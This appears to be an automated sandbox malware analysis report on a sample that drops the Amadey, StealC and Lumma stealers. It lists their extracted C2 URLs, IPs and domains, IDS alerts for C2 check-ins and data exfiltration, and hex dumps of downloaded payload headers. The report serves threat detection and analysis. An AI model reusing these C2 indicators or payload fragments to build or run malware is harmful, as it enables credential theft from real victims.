Source: 00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.cc1af330ba.exe.5a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["contemteny.site", "opposezmny.site", "goalyfeastz.site", "seallysl.site", "servicedny.site", "dilemmadu.site", "authorisev.site", "faulteyotk.site"], "Build id": "MkfS5f--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: servicedny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: authorisev.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: faulteyotk.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: dilemmadu.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: contemteny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: goalyfeastz.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: opposezmny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: seallysl.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: servicedny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack	String decryptor: MkfS5f--

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: BitLockerToGo.pdb source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmp, F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000003.1717692280.0000000005310000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000003.2247205275.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000002.2380720638.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2421769147.0000000000682000.00000040.00000001.01000000.00000011.sdmp, 4264524541.exe, 00000010.00000003.2288361449.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000011.00000002.2411769379.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000011.00000003.2368137194.0000000004870000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000003.2454647364.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000002.2497872091.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000003.2503551142.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000002.2630519473.00000000003F2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\Desktop\desktop.ini

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49980
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49982 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49984 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49989 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49993 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49996 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50001 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.7:50005 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50006 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.7:50003
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.7:50012 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50011 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50014 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50016 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49814 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49727 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49727 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49985 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49985 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49988 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49999 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50010 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49987 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49987 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50017 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50017 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: opposezmny.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: seallysl.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: authorisev.site
Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:35:37 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:40 GMTConnection: keep-aliveETag: "672128e0-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:35:44 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Tue, 29 Oct 2024 18:58:42 GMTConnection: keep-aliveETag: "67213062-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 b0 44 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 40 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 40 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 65 6a 6a 63 69 6f 00 30 1a 00 00 20 32 00 00 22 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 69 6b 64 71 75 65 00 10 00 00 00 50 4c 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:08 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 